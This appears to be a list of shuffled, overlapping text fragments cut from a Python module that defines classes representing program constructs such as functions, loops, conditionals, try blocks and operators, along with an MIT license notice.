\"\"\" def __init__(self,", "parentheses. It does not have a name. \"\"\" def __init__(self,", "Kwargs: paren (bool): Whether the reference is enclosed in parentheses.", "languages, such as C, C++ or Java, consider this special", "indent * '| ' return '{}[{}:{}] {}{}: {}'.format(prefix, line, col,", "- n: return self.else_body.statement(k) return None def get_branches(self): \"\"\"Return a", "statements, just like regular blocks. Multiple `catch` blocks may be", "of all blocks combined.\"\"\" n = len(self.body) + len(self.catches) +", "be inherited from, and not instantiated directly. An expression typically", "a string representation of this object.\"\"\" return 'catch ({}) {}'.format(self.declarations,", "line = self.line or 0 col = self.column or 0", "self.reference = None @property def is_constructor(self): \"\"\"Whether the called function", "operator = '{} {} {}'.format(pretty_str(self.arguments[0]), self.name, pretty_str(self.arguments[1])) return pretty.format(indent, operator)", "\"\"\"Constructor for default arguments. Args: scope (CodeEntity): The program scope", "return self.body.statement(i - o + n) raise IndexError('statement index out", "__repr__(self): \"\"\"Return a string representation of this object.\"\"\" args =", "blocks (either the `try` block, or a `catch` block, when", "statement (e.g. `return`, `break`). A jump statement has a name.", "pretty = '{}{}({}):\\n'.format(spaces, self.name, params) else: pretty = '{}{} {}({}):\\n'.format(spaces,", "it in the program and a list of references to", "and could be enclosed in parentheses. It does not have", "CodeSwitch(CodeControlFlow): \"\"\"This class represents a switch statement. A switch evaluates", "type, a tuple of its arguments and a reference to", "loop (e.g. in a `for`).\"\"\" assert isinstance(statement, CodeStatement) self.increment =", "a program namespace. A namespace is a concept that is", "parentheses. \"\"\" CodeExpression.__init__(self, scope, parent, name, result, paren) self.arguments =", "condition = pretty_str(self.condition) pretty = '{}switch ({}):\\n'.format(spaces, condition) pretty +=", "that execute when the evaluated value is equal to the", "Software. #THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF", "iter(()) def _lookup_parent(self, cls): \"\"\"Lookup a transitive parent object that", "a string representation of this object.\"\"\" if self.is_unary: return '[{}]", "value is compound, rather than simple. An example present in", "return numbers or booleans. Some languages also support ternary operators.", "to the corresponding class. \"\"\" def __init__(self, scope, parent, id_,", "= self.body def _set_increment(self, statement): \"\"\"Set the increment statement for", "this object.\"\"\" if isinstance(self.value, CodeExpression): yield self.value def pretty_str(self, indent=0):", "if self.parenthesis: return '{}({})'.format(indent, values) return '{}{}'.format(indent, values) def __repr__(self):", "\"\"\"Yield all direct children of this object.\"\"\" if isinstance(self.value, CodeEntity):", "CodeStatementGroup): \"\"\"Base class for control flow structures (e.g. `for` loops).", "' * indent condition = pretty_str(self.condition) v = self.declarations.pretty_str() if", "of spaces to use as indentation. \"\"\" if self.parenthesis: return", "a default branch. Switches are often one of the most", "indent (int): The number of indentation levels. \"\"\" line =", "explicit in many others. In Python, the closest thing should", "compound, rather than simple. An example present in many programming", "they belong to) and a parent object that should have", "a variable is *local* if its containing scope is a", "within a function, for instance. A declaration statement contains a", "and a body (a code block). It also has an", "isinstance(self.declarations, CodeStatement): yield self.declarations for codeobj in self.body._children(): yield codeobj", "concatenated, for indexing purposes. \"\"\" # ----- This code is", "parent) self.declarations = None self.body = CodeBlock(scope, self, explicit=True) def", "restriction, including without limitation the rights #to use, copy, modify,", "An unique identifier for this function. name (str): The name", "paren) self.arguments = args or () @property def is_unary(self): \"\"\"Whether", "string representation of this object.\"\"\" return '[unknown]' class CodeStatementGroup(object): \"\"\"This", "This object's parent in the program tree. value (iterable): The", "args) elif self.is_constructor: call = 'new {}({})'.format(self.name, args) else: call", "= CodeBlock(scope, self, explicit=False) @property def then_branch(self): \"\"\"The branch associated", "= None self.column = None def walk_preorder(self): \"\"\"Iterates the program", "This object's parent in the program tree. \"\"\" self.scope =", "try block structure.\"\"\" assert isinstance(body, CodeBlock) self.body = body def", "has a name. \"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor", "literal whose value is compound, rather than simple. An example", "of this object.\"\"\" for codeobj in self.variables: yield codeobj def", "\"\"\"Constructor for statements. Args: scope (CodeEntity): The program scope where", "statement statement.scope = self.body def _children(self): \"\"\"Yield all direct children", "holding this object. \"\"\" def __init__(self, scope, parent): \"\"\"Base constructor", "def _set_declarations(self, declarations): \"\"\"Set declarations local to this loop (e.g.", "type is not numeric, string or boolean, as bare Python", "spaces = ' ' * indent params = ', '.join(map(lambda", "main body for this control flow structure.\"\"\" assert isinstance(body, CodeStatement)", "be set to the object on which a method is", "[] self.default_case = None def _add_branch(self, value, statement): \"\"\"Add a", "of this object.\"\"\" return '[{}] {!r}'.format(self.result, self.value) CodeExpression.TYPES = (int,", "represents a composite literal. A composite literal is any type", "or (isinstance(self.scope, CodeFunction) and self not in self.scope.parameters)) @property def", "* indent, self.result, self.name, pretty_str(self.value)) def __repr__(self): \"\"\"Return a string", "_add_default_branch(self, statement): \"\"\"Add a default branch to this switch.\"\"\" self.default_case", "not None: return '{}{} {}'.format(indent, self.name, pretty_str(self.value)) return indent +", "is_binary(self): \"\"\"Whether this is a binary operator.\"\"\" return len(self.arguments) ==", "catch block.\"\"\" assert isinstance(body, CodeBlock) self.body = body def _children(self):", "= name self.value = None def _add(self, codeobj): \"\"\"Add a", "\"\"\"Return a string representation of this object.\"\"\" args = ',", "= value def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation", "for catch block structures.\"\"\" CodeStatement.__init__(self, scope, parent) self.declarations = None", "object. \"\"\" def __init__(self, scope, parent): \"\"\"Base constructor for code", "NULL pointers, Python None and so on. \"\"\" def __init__(self,", "self.get_branches()) class CodeConditional(CodeControlFlow): \"\"\"This class represents a conditional (`if`). A", "Statement Entities ---------------------------------------------------- class CodeStatement(CodeEntity): \"\"\"Base class for program statements.", "for this class. name (str): The name of the class", "parent, 'if') self.else_body = CodeBlock(scope, self, explicit=False) @property def then_branch(self):", "= ' ' * indent pretty = '{}({})' if self.parenthesis", "is an instance of `CodeEntity` and `repr` otherwise. Args: something:", "= SomeValue(\"int\") SomeValue.FLOATING = SomeValue(\"float\") SomeValue.CHARACTER = SomeValue(\"char\") SomeValue.STRING =", "return self.else_body.statement(i - o) elif i < 0 and i", "values(self): return tuple(self.value) def _add_value(self, child): \"\"\"Add a value to", "that are instances of a given class. Args: cls (class):", "contains a list of all declared variables. \"\"\" def __init__(self,", "class CodeTryBlock(CodeStatement, CodeStatementGroup): \"\"\"This class represents a try-catch block statement.", "and a tuple of its arguments. \"\"\" def __init__(self, scope,", "self.file = None self.line = None self.column = None def", "codeobj in self.finally_body._children(): yield codeobj def __len__(self): \"\"\"Return the length", "This object's parent in the program tree. Kwargs: expression (CodeExpression):", "sublicense, and/or sell #copies of the Software, and to permit", "unary operator.\"\"\" return len(self.arguments) == 1 @property def is_binary(self): \"\"\"Whether", "name, definition=True): \"\"\"Constructor for classes. Args: scope (CodeEntity): The program", "that is an instance of a given class.\"\"\" codeobj =", "codeobj.parent return codeobj def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "be of many types, including literal values, operators, references and", "CodeStatement) if isinstance(body, CodeBlock): self.else_body = body else: self.else_body._add(body) def", "and so on. \"\"\" def __init__(self, scope, parent, paren=False): \"\"\"Constructor", "codeobj in self.children ) # ----- Expression Entities --------------------------------------------------- class", "raise AssertionError(str(te)) CodeLiteral.__init__(self, scope, parent, value, result, paren) @property def", "for codeobj in self.variables: yield codeobj def pretty_str(self, indent=0): \"\"\"Return", "\"\"\"Constructor for functions. Args: scope (CodeEntity): The program scope where", "represents the global scope of a program. The global scope", "= (\"+\", \"-\") _BINARY_TOKENS = (\"+\", \"-\", \"*\", \"/\", \"%\",", "typically has a name (its token), a return type, and", "modify, merge, publish, distribute, sublicense, and/or sell #copies of the", "common example is the assignment operator, which can be a", "k < o - n and k > -n: return", "the other blocks (either the `try` block, or a `catch`", "tuple(self.value) def _add_value(self, child): \"\"\"Add a value to the sequence", "_set_finally_body(self, body): \"\"\"Set the finally body for try block structure.\"\"\"", "parent in the program tree. \"\"\" CodeStatement.__init__(self, scope, parent) self.variables", "codeobj is not None and not isinstance(codeobj, cls): codeobj =", "\"-\", \"*\", \"/\", \"%\", \"<\", \">\", \"<=\", \">=\", \"==\", \"!=\",", "scope where this object belongs. parent (CodeEntity): This object's parent", "for codeobj in self.body._children(): yield codeobj for catch_block in self.catches:", "filter(self, cls, recursive=False): \"\"\"Retrieves all descendants (including self) that are", "list of references to it. If a function is a", "the finally body for try block structure.\"\"\" assert isinstance(body, CodeBlock)", "this control flow structure.\"\"\" assert isinstance(condition, CodeExpression.TYPES) self.condition = condition", "in the program. result (str): The return type of the", "use as indentation. \"\"\" indent = ' ' * indent", "' return '{}[{}:{}] {}{}: {}'.format(prefix, line, col, name, result, spell)", "\"\"\"Return the statement after the *i*-th one, or `None`.\"\"\" try:", "self.full_name = name self.arguments = () self.method_of = None self.reference", "or classes). \"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor for", "assert isinstance(body, CodeStatement) if isinstance(body, CodeBlock): self.else_body = body else:", "call = '{}({})'.format(self.name, args) return pretty.format(indent, call) def __repr__(self): \"\"\"Return", "CodeExpression)) self.body._add(codeobj) def _children(self): \"\"\"Yield all direct children of this", "a `scope` or `parent`. \"\"\" def __init__(self): \"\"\"Constructor for global", "* indent params = ', '.join(map(lambda p: p.result + '", "consider more branches, or default branches (executed when no condition", "\"\"\"Constructor for unknown values.\"\"\" CodeExpression.__init__(self, None, None, result, result) def", "wrapper. Many programming languages allow expressions to be statements on", "CodeExpression): yield codeobj def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "least, one branch (a boolean condition and a `CodeBlock` that", "if isinstance(body, CodeBlock): self.else_body = body else: self.else_body._add(body) def __len__(self):", "when not explicitly provided by the programmer. This class represents", "the value is unknown). Additionally, a variable has an `id`", "n: return self.else_body.statement(i) return self.body.statement(i - o + n) raise", "languages often define diverse types of statements (e.g. return statements,", "program tree. name (str): The name of the statement in", "CodeFunction(CodeEntity, CodeStatementGroup): \"\"\"This class represents a program function. A function", "used for those. A literal has a value (e.g. a", "construction of a code entity.\"\"\" pass def _validity_check(self): \"\"\"Check whether", "block, or a `catch` block, when an exception is raised", "raised and handled). \"\"\" def __init__(self, scope, parent): \"\"\"Constructor for", "(' ' * indent) + self.name def __repr__(self): \"\"\"Return a", "'\\n\\n'.join( codeobj.pretty_str(indent=indent) for codeobj in self.children ) # ----- Expression", "binary operator.\"\"\" return len(self.arguments) == 2 @property def is_ternary(self): \"\"\"Whether", "direct children of this object.\"\"\" if isinstance(self.expression, CodeExpression): yield self.expression", "concept: Java has null references, C/C++ NULL pointers, Python None", "for variables. Args: scope (CodeEntity): The program scope where this", "{}]'.format(self.name) class CodeGlobalScope(CodeEntity): \"\"\"This class represents the global scope of", "' [declaration]' else: pretty += self.body.pretty_str(indent + 2) return pretty", "= self.arguments + (codeobj,) def _children(self): \"\"\"Yield all direct children", "= [] self._definition = self if definition else None @property", "fully built. \"\"\" for codeobj in self.children: codeobj._afterpass() def pretty_str(self,", "a sequence of values that compose it (`values`), a type", "in catch_block._children(): yield codeobj for codeobj in self.finally_body._children(): yield codeobj", "1 if isinstance(codeobj, CodeOperator) and codeobj.is_assignment: if codeobj.arguments and isinstance(codeobj.arguments[0],", "\"\"\"Whether this is a global variable. In general, a variable", "thus should return # an empty iterator. return iter(()) def", "\"==\", \"!=\", \"&&\", \"||\", \"=\") def __init__(self, scope, parent, name,", "pretty.format(indent, call) def __repr__(self): \"\"\"Return a string representation of this", "and self not in self.scope.parameters)) @property def is_global(self): \"\"\"Whether this", "self.is_constructor: call = 'new {}({})'.format(self.name, args) else: call = '{}({})'.format(self.name,", "\"\"\"Add a branch/case (value and statement) to this switch.\"\"\" self.cases.append((value,", "the condition for this control flow structure.\"\"\" assert isinstance(condition, CodeExpression.TYPES)", "__repr__(self): \"\"\"Return a string representation of this object.\"\"\" return '[namespace", "direct children of this object.\"\"\" if self.method_of: yield self.method_of for", "self.arguments[0]) if self.is_binary: return '[{}] ({}){}({})'.format(self.result, self.arguments[0], self.name, self.arguments[1]) return", "in some contexts, e.g. an `if` statement omitting curly braces", "CodeLiteral) class CodeNull(CodeLiteral): \"\"\"This class represents an indefinite value. Many", "for try block structure.\"\"\" assert isinstance(body, CodeBlock) self.finally_body = body", "\"\"\"Return a list with the conditional branch and the default", "codeobj): \"\"\"Add a child (argument) to this object.\"\"\" assert isinstance(codeobj,", "indicate whether it is enclosed in parentheses. \"\"\" def __init__(self,", "this composition.\"\"\" self.value.append(child) def _children(self): \"\"\"Yield all direct children of", "as indentation. \"\"\" spaces = ' ' * indent decls", "types, including literal values, operators, references and function calls. This", "def __init__(self): \"\"\"Constructor for global scope objects.\"\"\" CodeEntity.__init__(self, None, None)", "indent) + '(' + self.name + ')' return (' '", "\"\"\" spaces = ' ' * indent return spaces +", "of values that compose it (`values`), a type (`result`), and", "Software, and to permit persons to whom the Software is", "codeobj._fi = fi fi += 1 if isinstance(codeobj, CodeOperator) and", "just like regular blocks. Multiple `catch` blocks may be defined", "def values(self): return tuple(self.value) def _add_value(self, child): \"\"\"Add a value", "isinstance(codeobj, CodeOperator) and codeobj.is_assignment: if codeobj.arguments and isinstance(codeobj.arguments[0], CodeReference): var", "\"\"\" def __init__(self, scope, parent): \"\"\"Constructor for statements. Args: scope", "\"\"\"Constructor for literals. As literals have no name, a constant", "sequence in this composition.\"\"\" self.value.append(child) def _children(self): \"\"\"Yield all direct", "self.method_of for codeobj in self.arguments: if isinstance(codeobj, CodeExpression): yield codeobj", "codeobj in self.body._children(): yield codeobj for codeobj in self.else_body._children(): yield", "\"\"\"This class represents a program namespace. A namespace is a", "CodeStatement.__init__(self, scope, parent) self.body = [] self.explicit = explicit def", "is used instead. Args: scope (CodeEntity): The program scope where", "C++, allow function parameters to have default values when not", "were concatenated, for indexing purposes. \"\"\" # ----- This code", "> o - n: return self.else_body.statement(k) return None def get_branches(self):", "CodeExpression.TYPES) self.arguments = self.arguments + (codeobj,) def _set_method(self, codeobj): \"\"\"Set", "a child (statement) to this object.\"\"\" assert isinstance(codeobj, (CodeStatement, CodeExpression))", "\"\"\" CodeExpression.__init__(self, scope, parent, 'literal', result, paren) self.value = value", "its `method_of` should be set to the object on which", "class CodeJumpStatement(CodeStatement): \"\"\"This class represents a jump statement (e.g. `return`,", "occurs.\"\"\" return self._lookup_parent(CodeStatement) def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "return [ codeobj for codeobj in source() if isinstance(codeobj, cls)", "NONINFRINGEMENT. IN NO EVENT SHALL THE #AUTHORS OR COPYRIGHT HOLDERS", "name, result, paren=False): \"\"\"Constructor for expressions. Args: scope (CodeEntity): The", "met). A control flow statement typically has a name. \"\"\"", "this block. Behaves as if the *then* and *else* branches", "as te: raise AssertionError(str(te)) CodeLiteral.__init__(self, scope, parent, value, result, paren)", "main body for try block structure.\"\"\" assert isinstance(body, CodeBlock) self.body", "the program. Kwargs: paren (bool): Whether the reference is enclosed", "complex constructs of programming languages, so this implementation might be", "descendant def filter(self, cls, recursive=False): \"\"\"Retrieves all descendants (including self)", "no children.\"\"\" return iter(()) SomeValue.INTEGER = SomeValue(\"int\") SomeValue.FLOATING = SomeValue(\"float\")", "= SomeValue(\"bool\") class CodeLiteral(CodeExpression): \"\"\"Base class for literal types not", "This object's parent in the program tree. Kwargs: paren (bool):", "yield codeobj def _afterpass(self): \"\"\"Assign the `member_of` of child members", "included in #all copies or substantial portions of the Software.", "', '.join(map(str, self.arguments)) if self.is_constructor: return '[{}] new {}({})'.format(self.result, self.name,", "a string representation of this object.\"\"\" return repr(self.expression) class CodeBlock(CodeStatement,", "self.value = value def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "Kwargs: indent (int): The amount of spaces to use as", "self.condition = True self.body = CodeBlock(scope, self, explicit=False) def get_branches(self):", "try: value = list(value) except TypeError as te: raise AssertionError(str(te))", "OR #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF", "of the control flow statement in the program. \"\"\" CodeStatement.__init__(self,", "{}{}: {}'.format(prefix, line, col, name, result, spell) def __str__(self): \"\"\"Return", "self.declarations = declarations declarations.scope = self.body def _set_body(self, body): \"\"\"Set", "braces in C, C++, Java, etc. This model assumes that", "class CodeCompositeLiteral(CodeLiteral): \"\"\"This class represents a composite literal. A composite", "or `None`.\"\"\" try: return self.statement(i + 1) except IndexError as", "self.name == \"=\" def _add(self, codeobj): \"\"\"Add a child (argument)", "OTHER DEALINGS IN #THE SOFTWARE. ############################################################################### # Language Model ###############################################################################", "should only be called after the object is fully built.", "#THE SOFTWARE. ############################################################################### # Language Model ############################################################################### class CodeEntity(object): \"\"\"Base", "in the code. \"\"\" CodeStatement.__init__(self, scope, parent) self.body = []", "self.body.pretty_str(indent=indent + 2) pretty = '{}catch ({}):\\n{}'.format(spaces, decls, body) return", "the most complex constructs of programming languages, so this implementation", "the program tree. name (str): The name of the loop", "enclosed in parentheses. \"\"\" def __init__(self, scope, parent, name, result,", "+ 2) if self.else_body: pretty += '\\n{}else:\\n'.format(spaces) pretty += self.else_body.pretty_str(indent=indent", "an unique `id`, a list of members (variables, functions), a", "return # an empty iterator. return iter(()) def _lookup_parent(self, cls):", "explicit=True) def _set_declarations(self, declarations): \"\"\"Set declarations local to this catch", "is a local variable. In general, a variable is *local*", "exception is raised and handled). \"\"\" def __init__(self, scope, parent):", "except TypeError as te: raise AssertionError(str(te)) CodeLiteral.__init__(self, scope, parent, value,", "return str(self.body) class CodeDeclaration(CodeStatement): \"\"\"This class represents a declaration statement.", "isinstance(body, CodeBlock) self.finally_body = body def _children(self): \"\"\"Yield all direct", "' [declaration]' return pretty def __repr__(self): \"\"\"Return a string representation", "the same as a class, or non-existent. A namespace typically", "of statements, while being considered a statement themselves. Some languages", "2) return pretty class CodeTryBlock(CodeStatement, CodeStatementGroup): \"\"\"This class represents a", "being called. \"\"\" def __init__(self, scope, parent, name, result, paren=False):", "= ({})'.format(self.result, self.name, self.value) class CodeFunction(CodeEntity, CodeStatementGroup): \"\"\"This class represents", "name, result): \"\"\"Constructor for variables. Args: scope (CodeEntity): The program", "\"\"\"Return the *i*-th statement from the object's `body`.\"\"\" return self.body.statement(i)", "parent, value, result, paren) @property def values(self): return tuple(self.value) def", "a list of parameters and a body (a code block).", "AND NONINFRINGEMENT. IN NO EVENT SHALL THE #AUTHORS OR COPYRIGHT", "self.body: return '\\n'.join(stmt.pretty_str(indent) for stmt in self.body) else: return ('", "use as indentation. \"\"\" return '{}{} {} = {}'.format(' '", "the literal is enclosed in parentheses. \"\"\" try: value =", "\"\"\" CodeExpression.__init__(self, scope, parent, name, result, paren) self.arguments = args", "\"\"\"Call the `_afterpass()` of child objects. This should only be", "{}({})'.format(self.name, args) else: call = '{}({})'.format(self.name, args) return pretty.format(indent, call)", "(isinstance(self.scope, CodeFunction) and self not in self.scope.parameters)) @property def is_global(self):", "called after the object is fully built. \"\"\" for codeobj", "indent pretty = spaces + 'class ' + self.name if", "i) pretty += self.body.pretty_str(indent=indent + 2) return pretty class CodeSwitch(CodeControlFlow):", "the loop statement in the program. \"\"\" CodeControlFlow.__init__(self, scope, parent,", "' ' * indent return spaces + ', '.join(v.pretty_str() for", "self.arguments = self.arguments + (codeobj,) def _set_method(self, codeobj): \"\"\"Set the", "children of this object.\"\"\" for codeobj in self.arguments: if isinstance(codeobj,", "isinstance(var, CodeVariable): var.writes.append(codeobj) def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, #FITNESS", "the body that should be repeated while the condition holds.", "'[{}] {} = ({})'.format(self.result, self.name, self.value) class CodeFunction(CodeEntity, CodeStatementGroup): \"\"\"This", "literal is enclosed in parentheses. \"\"\" CodeExpression.__init__(self, scope, parent, 'literal',", "type of the expression in the program. Kwargs: paren (bool):", "for jump statements. Args: scope (CodeEntity): The program scope where", "is_definition(self): return True @property def is_local(self): \"\"\"Whether this is a", "mandatory one. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor for conditionals.", "self.scope.parameters)) @property def is_global(self): \"\"\"Whether this is a global variable.", "a function definition or just a declaration.\"\"\" return self._definition is", "\"\"\"Return a string representation of this object.\"\"\" if self.value is", "ternary operators. Do note that assignments are often considered expressions,", "parent, name, result, paren=False): \"\"\"Constructor for references. Args: scope (CodeEntity):", "[] self.writes = [] @property def is_definition(self): return True @property", "return '{} {}'.format(self.name, str(self.value)) return self.name class CodeExpressionStatement(CodeStatement): \"\"\"This class", "= [] self.writes = [] @property def is_definition(self): return True", "call. A function call typically has a name (of the", "that should be repeated while the condition holds. \"\"\" def", "kind of statement for declaring variables within a function, for", "None: return '{} {}'.format(self.name, str(self.value)) return self.name class CodeExpressionStatement(CodeStatement): \"\"\"This", "branch value. It may also have a default branch. Switches", "PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE #AUTHORS OR", "default implementation has no children, and thus should return #", "note that assignments are often considered expressions, and, as such,", "Helpers ############################################################################### def pretty_str(something, indent=0): \"\"\"Return a human-readable string representation", "a string representation of this object.\"\"\" return 'try {} {}", "[] self.finally_body = CodeBlock(scope, self, explicit=True) def _set_body(self, body): \"\"\"Set", "pretty ############################################################################### # Helpers ############################################################################### def pretty_str(something, indent=0): \"\"\"Return a", "use as indentation. \"\"\" if self.parenthesis: return (' ' *", "\"\"\"This class represents the global scope of a program. The", "isinstance(self.scope, (CodeGlobalScope, CodeNamespace)) @property def is_parameter(self): \"\"\"Whether this is a", "object.\"\"\" if isinstance(self.condition, CodeExpression): yield self.condition for codeobj in self.body._children():", "this is an assignment operator.\"\"\" return self.name == \"=\" def", "+ 'class ' + self.name if self.superclasses: superclasses = ',", "of this object.\"\"\" return '[{}] {}'.format(self.result, self.name) class SomeValue(CodeExpression): \"\"\"This", "recursive else self._children return [ codeobj for codeobj in source()", "a tuple of its arguments. \"\"\" _UNARY_TOKENS = (\"+\", \"-\")", "the `scope` and `parent` of all other objects. It is", "unary or binary, and often return numbers or booleans. Some", "return '[namespace {}]'.format(self.name) class CodeGlobalScope(CodeEntity): \"\"\"This class represents the global", "declaration statements. Args: scope (CodeEntity): The program scope where this", "\"\"\"Set the main body for this control flow structure.\"\"\" assert", "(statement) to this object.\"\"\" assert isinstance(codeobj, (CodeStatement, CodeExpression)) self.body._add(codeobj) def", "this object.\"\"\" for codeobj in self.children: yield codeobj def _afterpass(self):", "tree. value (iterable): The initial value sequence in this composition.", "self.name) pretty += '\\n\\n'.join(c.pretty_str(indent + 2) for c in self.children)", "2) if self.else_body: pretty += '\\n{}else:\\n'.format(spaces) pretty += self.else_body.pretty_str(indent=indent +", "self.declarations.pretty_str() if self.declarations else '' i = self.increment.pretty_str(indent=1) if self.increment", "CodeStatement): yield self.declarations for codeobj in self.body._children(): yield codeobj def", "this composition. result (str): The return type of the literal", "branch associated with a condition.\"\"\" return self.condition, self.body @property def", "for instance. A declaration statement contains a list of all", "condition, i) pretty += self.body.pretty_str(indent=indent + 2) return pretty class", "always have a block as their body. \"\"\" def __init__(self,", "scope, parent) self.name = name self.result = result self.parenthesis =", "list of branches, where each branch is a pair of", "c.pretty_str(indent + 2) for c in self.members ) else: pretty", "of a statement group, and provides methods for integer-based indexing", "name of the function in a function call) and a", "n and k > -n: return self.body.statement(k) if k >", "SomeValue(\"bool\") class CodeLiteral(CodeExpression): \"\"\"Base class for literal types not present", "composite literal. A composite literal is any type of literal", "a return type, a tuple of its arguments and a", "scope (e.g. the function or code block they belong to)", "scope, parent, result, value=(), paren=False): \"\"\"Constructor for a compound literal.", "condition = pretty_str(self.condition) pretty = '{}if ({}):\\n'.format(spaces, condition) pretty +=", "CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS", "are list literals, often constructed as `[1, 2, 3]`. A", "should return # an empty iterator. return iter(()) def _lookup_parent(self,", "and block) to this try block structure. \"\"\" assert isinstance(catch_block,", "Java, etc.). Blocks are little more than collections of statements,", "= ' ' * indent condition = pretty_str(self.condition) pretty =", "self.name = name self.condition = True self.body = CodeBlock(scope, self,", "often considered expressions, and, as such, assignment operators are included", "be the same as a class, or non-existent. A namespace", "provides methods for integer-based indexing of program statements (as if", "if self.members: pretty += '\\n\\n'.join( c.pretty_str(indent + 2) for c", "statement on its own, but also returns a value when", "'{}{} {}'.format(indent, self.name, pretty_str(self.value)) return indent + self.name def __repr__(self):", "this object belongs. parent (CodeEntity): This object's parent in the", "class.\"\"\" return self._definition is self def _add(self, codeobj): \"\"\"Add a", ") # ----- Expression Entities --------------------------------------------------- class CodeExpression(CodeEntity): \"\"\"Base class", "typically has a name, a return type (`result`), a list", "({}; {}; {}):\\n'.format(spaces, v, condition, i) pretty += self.body.pretty_str(indent=indent +", "operator expression (e.g. `a + b`). Operators can be unary", "class represents a declaration statement. Some languages, such as C,", "'' prefix = indent * '| ' return '{}[{}:{}] {}{}:", "#Copyright (c) 2017 <NAME> # #Permission is hereby granted, free", "\"\"\"Return the statement after the *i*-th one, or `None`.\"\"\" k", "of this object.\"\"\" if isinstance(self.value, CodeEntity): yield self.value def pretty_str(self,", "object that contains the attribute this is a reference of.\"\"\"", "self.increment: yield self.increment for codeobj in self.body._children(): yield codeobj def", "' * indent, self.result, self.name, pretty_str(self.value)) def __repr__(self): \"\"\"Return a", "else self.declarations.pretty_str()) body = self.body.pretty_str(indent=indent + 2) pretty = '{}catch", "is not None def _add(self, codeobj): \"\"\"Add a child (statement)", "C, C++, Java, etc. This model assumes that control flow", "self.member_of = None self.references = [] self.writes = [] @property", "are included here. An operator typically has a name (its", "assert isinstance(body, CodeBlock) self.body = body def _children(self): \"\"\"Yield all", "+ len(self.else_body) def _children(self): \"\"\"Yield all direct children of this", "assert isinstance(declarations, CodeStatement) self.declarations = declarations declarations.scope = self.body def", "statement group, and provides methods for integer-based indexing of program", "spaces + ', '.join(v.pretty_str() for v in self.variables) def __repr__(self):", "the program tree. name (str): The name of the control", "\"\"\"Set the object that contains the attribute this is a", "of the statement group.\"\"\" return len(self.body) # ----- Common Entities", "in a `for`).\"\"\" assert isinstance(statement, CodeStatement) self.increment = statement statement.scope", "(e.g. a block), or a function, given that the variable", "len(self.else_body) if k > 0: if k < o: return", "statement in the program. \"\"\" CodeStatement.__init__(self, scope, parent) self.name =", "should have no children, thus an empty iterator is returned.", "`a + b`). Operators can be unary or binary, and", "__repr__(self): \"\"\"Return a string representation of this object.\"\"\" return str(self.body)", "= id self.name = name self.result = result self.value =", "of its arguments. \"\"\" _UNARY_TOKENS = (\"+\", \"-\") _BINARY_TOKENS =", "True @property def is_local(self): \"\"\"Whether this is a local variable.", "CodeOperator) and codeobj.is_assignment: if codeobj.arguments and isinstance(codeobj.arguments[0], CodeReference): var =", "name): \"\"\"Constructor for jump statements. Args: scope (CodeEntity): The program", "* indent) + self.__str__() def ast_str(self, indent=0): \"\"\"Return a minimal", "tree. \"\"\" CodeControlFlow.__init__(self, scope, parent, \"switch\") self.cases = [] self.default_case", "object.\"\"\" return repr(self.expression) class CodeBlock(CodeStatement, CodeStatementGroup): \"\"\"This class represents a", "self.increment = None def _set_declarations(self, declarations): \"\"\"Set declarations local to", "blocks to be implicit in some contexts, e.g. an `if`", "\"\"\"Constructor for declaration statements. Args: scope (CodeEntity): The program scope", "expression should indicate whether it is enclosed in parentheses. \"\"\"", "(or `None` for variables without a value or when the", "the *i*-th statement from the object's `body`.\"\"\" return self.statement(i) def", "a module. In Java, it may be the same as", "block is explicit in the code. \"\"\" CodeStatement.__init__(self, scope, parent)", "'[{}] {}({})'.format(self.result, self.name, self.arguments[0]) if self.is_binary: return '[{}] ({}){}({})'.format(self.result, self.arguments[0],", "class represents a program function. A function typically has a", "self.declarations = None self.increment = None def _set_declarations(self, declarations): \"\"\"Set", "a list of superclasses, and a list of references. If", "of this object.\"\"\" return self.__repr__() def __repr__(self): \"\"\"Return a string", "and functions always have a block as their body. \"\"\"", "returning a custom exception message. o = len(self.body) n =", "scope, parent, name): \"\"\"Constructor for jump statements. Args: scope (CodeEntity):", "block structures.\"\"\" CodeStatement.__init__(self, scope, parent) self.declarations = None self.body =", "a `finally` block that is executed after the other blocks", "scope, parent) self.declarations = None self.body = CodeBlock(scope, self, explicit=True)", "parent (CodeEntity): This object's parent in the program tree. name", "representation of this object.\"\"\" return '[unknown]' class CodeStatementGroup(object): \"\"\"This class", "literal. Args: scope (CodeEntity): The program scope where this object", "# returning a custom exception message. o = len(self.body) n", "name, a type (`result`) and a value (or `None` for", "(of what it is referencing), and a return type. If", "class inherits from CodeLiteral just for consistency with the class", "class, or non-existent. A namespace typically has a name and", "local declarations, as well as an increment statement. A loop", "only used for inheritance purposes. It defines the length of", "general, a variable is *local* if its containing scope is", "self.field_of def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation of", "2) for block in self.catches: pretty += '\\n' + block.pretty_str(indent)", "string representation of this object.\"\"\" return '{} {}'.format(self.name, self.get_branches()) class", "= ' ' * indent if self.value is not None:", "(str): The return type of the literal in the program.", "be set to the corresponding class. \"\"\" def __init__(self, scope,", "loop (e.g. `for` variables).\"\"\" assert isinstance(declarations, CodeStatement) self.declarations = declarations", "return pretty class CodeCatchBlock(CodeStatement, CodeStatementGroup): \"\"\"Helper class for catch statements", "parent, 'literal', result, paren) self.value = value def pretty_str(self, indent=0):", "to use as a filter. Kwargs: recursive (bool): Whether to", "= [] self.superclasses = [] self.member_of = None self.references =", "{}'.format(prefix, line, col, name, result, spell) def __str__(self): \"\"\"Return a", "reference is a field/attribute of an object, `field_of` should be", "enclosed in parentheses. \"\"\" CodeEntity.__init__(self, scope, parent) self.name = name", "\"\"\"Return a string representation of this object.\"\"\" return '[unknown]' class", "@property def function(self): \"\"\"The function where this expression occurs.\"\"\" return", "for catch_block in self.catches: for codeobj in catch_block._children(): yield codeobj", "----- This code is just to avoid creating a new", 